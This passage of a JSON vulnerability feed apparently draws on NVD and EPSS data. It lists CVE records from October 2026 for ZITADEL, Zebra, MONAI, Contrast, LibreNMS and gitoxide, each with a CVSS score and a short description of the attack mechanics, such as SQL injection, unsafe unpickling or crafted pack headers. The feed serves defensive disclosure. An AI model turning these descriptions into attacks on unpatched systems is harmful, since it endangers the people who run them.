fixes.","publishedAt":"2026-10-12T17:17:35.723Z","updatedAt":"2026-10-23T06:17:07.420Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-75888","asOf":"2026-10-23T06:17:07.420Z"},"epss":{"probability":0.00382,"percentile":0.3188,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-75888&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-75888","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75888","type":"primary","publishedAt":"2026-10-12T17:17:35.723Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-75888&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-75888, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109371","cveId":"CVE-2026-109371","aliases":[],"kind":"vulnerability","title":"ZITADEL 3.0.0 before 4.18.0 contains a missing authentication vulnerability in the hosted Login V1 UI, where the change-username handler acts on the account bound to a login flow...","summary":"ZITADEL 3.0.0 before 4.18.0 contains a missing authentication vulnerability in the hosted Login V1 UI, where the change-username handler acts on the account bound to a login flow before any factor is verified. Unauthenticated attackers can submit a victim's login name and then post a new username to rename any active human user, including administrators, locking them out.","detail":"ZITADEL 3.0.0 before 4.18.0 contains a missing authentication vulnerability in the hosted Login V1 UI, where the change-username handler acts on the account bound to a login flow before any factor is verified. Unauthenticated attackers can submit a victim's login name and then post a new username to rename any active human user, including administrators, locking them out.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:34.547Z","updatedAt":"2026-10-15T03:17:10.390Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109371","asOf":"2026-10-15T03:17:10.390Z"},"epss":{"probability":0.00363,"percentile":0.29885,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109371&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109371","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109371","type":"primary","publishedAt":"2026-10-12T17:17:34.547Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109371&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109371, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109363","cveId":"CVE-2026-109363","aliases":[],"kind":"vulnerability","title":"ZcashFoundation Zebra 6.4.0 before 6.4.2 parses version 6 transactions carrying a pre-NU6.3 consensus branch ID, but the size computation during UnminedTx construction treats...","summary":"ZcashFoundation Zebra 6.4.0 before 6.4.2 parses version 6 transactions carrying a pre-NU6.3 consensus branch ID, but the size computation during UnminedTx construction treats re-serialization of the Orchard bundle as infallible, so the resulting error trips an expect that aborts zebrad. Unauthenticated peers can send a single pre-handshake tx message to crash the node, and can repeat this after each restart.","detail":"ZcashFoundation Zebra 6.4.0 before 6.4.2 parses version 6 transactions carrying a pre-NU6.3 consensus branch ID, but the size computation during UnminedTx construction treats re-serialization of the Orchard bundle as infallible, so the resulting error trips an expect that aborts zebrad. Unauthenticated peers can send a single pre-handshake tx message to crash the node, and can repeat this after each restart.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:33.953Z","updatedAt":"2026-10-15T20:31:47.127Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109363","asOf":"2026-10-15T20:31:47.127Z"},"epss":{"probability":0.00432,"percentile":0.37145,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109363&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109363","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109363","type":"primary","publishedAt":"2026-10-12T17:17:33.953Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109363&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109363, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109361","cveId":"CVE-2026-109361","aliases":[],"kind":"vulnerability","title":"MONAI 1.2.0 before 1.6.1 contains an insecure deserialization vulnerability in nnUNetV2Runner that unpickles the postprocessing_file path read from inference_information.json...","summary":"MONAI 1.2.0 before 1.6.1 contains an insecure deserialization vulnerability in nnUNetV2Runner that unpickles the postprocessing_file path read from inference_information.json without confining it to the results directory. Attackers who can modify inference_information.json can point it at a malicious pickle elsewhere on the filesystem to execute code when predict_ensemble_postprocessing runs.","detail":"MONAI 1.2.0 before 1.6.1 contains an insecure deserialization vulnerability in nnUNetV2Runner that unpickles the postprocessing_file path read from inference_information.json without confining it to the results directory. Attackers who can modify inference_information.json can point it at a malicious pickle elsewhere on the filesystem to execute code when predict_ensemble_postprocessing runs.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:33.630Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109361","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00234,"percentile":0.14223,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109361&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109361","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109361","type":"primary","publishedAt":"2026-10-12T17:17:33.630Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109361&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109361, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109360","cveId":"CVE-2026-109360","aliases":[],"kind":"vulnerability","title":"MONAI 0.4.0 before 1.6.1 contains a remote code execution vulnerability that allows on-path attackers to execute code by tampering with SENet pretrained weights fetched over...","summary":"MONAI 0.4.0 before 1.6.1 contains a remote code execution vulnerability that allows on-path attackers to execute code by tampering with SENet pretrained weights fetched over plaintext HTTP. Attackers can substitute a crafted .pth file that load_state_dict_from_url unpickles without weights_only=True, executing code when SEResNet50 or other SENet models are constructed with pretrained=True.","detail":"MONAI 0.4.0 before 1.6.1 contains a remote code execution vulnerability that allows on-path attackers to execute code by tampering with SENet pretrained weights fetched over plaintext HTTP. Attackers can substitute a crafted .pth file that load_state_dict_from_url unpickles without weights_only=True, executing code when SEResNet50 or other SENet models are constructed with pretrained=True.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:33.480Z","updatedAt":"2026-10-16T19:18:44.867Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109360","asOf":"2026-10-16T19:18:44.867Z"},"epss":{"probability":0.00562,"percentile":0.46494,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109360&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109360","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109360","type":"primary","publishedAt":"2026-10-12T17:17:33.480Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109360&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109360, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109359","cveId":"CVE-2026-109359","aliases":[],"kind":"vulnerability","title":"Contrast 1.8.0 before 1.24.1 contains an improper verification vulnerability in Coordinator peer recovery that fails to confirm the serving peer uses the same manifest generation.","summary":"Contrast 1.8.0 before 1.24.1 contains an improper verification vulnerability in Coordinator peer recovery that fails to confirm the serving peer uses the same manifest generation. Attackers with write access to manifest history can replay a superseded history head so withdrawn workloads obtain trusted mesh certificates, or with the secret seed disclose the Mesh CA key.","detail":"Contrast 1.8.0 before 1.24.1 contains an improper verification vulnerability in Coordinator peer recovery that fails to confirm the serving peer uses the same manifest generation. Attackers with write access to manifest history can replay a superseded history head so withdrawn workloads obtain trusted mesh certificates, or with the secret seed disclose the Mesh CA key.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:33.327Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109359","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.0011,"percentile":0.01286,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109359&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109359","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109359","type":"primary","publishedAt":"2026-10-12T17:17:33.327Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109359&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109359, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109358","cveId":"CVE-2026-109358","aliases":[],"kind":"vulnerability","title":"Edgeless Systems Contrast 1.8.0 before 1.24.1 contains an incorrect permissions vulnerability where the node installer writes the containerd config world-writable (0666).","summary":"Edgeless Systems Contrast 1.8.0 before 1.24.1 contains an incorrect permissions vulnerability where the node installer writes the containerd config world-writable (0666). Local unprivileged users on the node can modify the containerd config, for example overwriting the runc location, to escalate privileges.","detail":"Edgeless Systems Contrast 1.8.0 before 1.24.1 contains an incorrect permissions vulnerability where the node installer writes the containerd config world-writable (0666). Local unprivileged users on the node can modify the containerd config, for example overwriting the runc location, to escalate privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:33.177Z","updatedAt":"2026-10-16T19:03:18.127Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109358","asOf":"2026-10-16T19:03:18.127Z"},"epss":{"probability":0.00107,"percentile":0.01159,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109358&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109358","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109358","type":"primary","publishedAt":"2026-10-12T17:17:33.177Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109358&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109358, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109353","cveId":"CVE-2026-109353","aliases":[],"kind":"vulnerability","title":"LibreNMS before 26.9.0 contains an SQL injection vulnerability that allows unprivileged users to inject SQL by supplying an array-valued notification_id parameter to...","summary":"LibreNMS before 26.9.0 contains an SQL injection vulnerability that allows unprivileged users to inject SQL by supplying an array-valued notification_id parameter to notifications.inc.php. Attackers can perform cross-table reads of users.password hashes, with results persisted in notifications_attribs and readable through the interface.","detail":"LibreNMS before 26.9.0 contains an SQL injection vulnerability that allows unprivileged users to inject SQL by supplying an array-valued notification_id parameter to notifications.inc.php. Attackers can perform cross-table reads of users.password hashes, with results persisted in notifications_attribs and readable through the interface.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:32.423Z","updatedAt":"2026-10-15T20:33:06.527Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109353","asOf":"2026-10-15T20:33:06.527Z"},"epss":{"probability":0.00294,"percentile":0.21775,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109353&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109353","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109353","type":"primary","publishedAt":"2026-10-12T17:17:32.423Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109353&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109353, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109351","cveId":"CVE-2026-109351","aliases":[],"kind":"vulnerability","title":"Gitoxide gix-pack before 0.75.0 contains an uncontrolled memory allocation vulnerability that allows remote attackers to abort the process by supplying a huge pack-header object...","summary":"Gitoxide gix-pack before 0.75.0 contains an uncontrolled memory allocation vulnerability that allows remote attackers to abort the process by supplying a huge pack-header object count. Malicious remotes can serve a 12-byte pack header claiming 0xFFFFFFFF objects, forcing Tree::with_capacity to reserve hundreds of gigabytes and crash clone or fetch operations.","detail":"Gitoxide gix-pack before 0.75.0 contains an uncontrolled memory allocation vulnerability that allows remote attackers to abort the process by supplying a huge pack-header object count. Malicious remotes can serve a 12-byte pack header claiming 0xFFFFFFFF objects, forcing Tree::with_capacity to reserve hundreds of gigabytes and crash clone or fetch operations.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:32.123Z","updatedAt":"2026-10-26T17:17:13.257Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109351","asOf":"2026-10-26T17:17:13.257Z"},"epss":{"probability":0.00322,"percentile":0.25001,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109351&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109351","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109351","type":"primary","publishedAt":"2026-10-12T17:17:32.123Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109351&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109351, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109350","cveId":"CVE-2026-109350","aliases":[],"kind":"vulnerability","title":"Gitoxide gix-pack before 0.75.0 contains a denial of service vulnerability that allows malicious remotes to crash fetch operations by sending crafted thin-pack OFS_DELTA entries.","summary":"Gitoxide gix-pack before 0.75.0 contains a denial of service vulnerability that allows malicious remotes to crash fetch operations by sending crafted thin-pack OFS_DELTA entries. Attackers can serve a thin pack with a REF_DELTA referencing an existing object followed by an OFS_DELTA whose base_distance exceeds pack_offset, triggering a panic in LookupRefDeltaObjectsIter that aborts the fetch process.","detail":"Gitoxide gix-pack before 0.75.0 contains a denial of service vulnerability that allows malicious remotes to crash fetch operations by sending crafted thin-pack OFS_DELTA entries. Attackers can serve a thin pack with a REF_DELTA referencing an existing object followed by an OFS_DELTA whose base_distance exceeds pack_offset, triggering a panic in LookupRefDeltaObjectsIter that aborts the fetch process.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:31.973Z","updatedAt":"2026-10-16T17:27:24.847Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109350","asOf":"2026-10-16T17:27:24.847Z"},"epss":{"probability":0.00321,"percentile":0.24879,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109350&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109350","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109350","type":"primary","publishedAt":"2026-10-12T17:17:31.973Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109350&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109350, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109349","cveId":"CVE-2026-109349","aliases":[],"kind":"vulnerability","title":"gitoxide gix-pack before 0.75.0 contains a reachable assertion in BytesToEntriesIter::new_from_header: the pack header decoder accepts version 3, but a release-enabled assert_eq!","summary":"gitoxide gix-pack before 0.75.0 contains a reachable assertion in 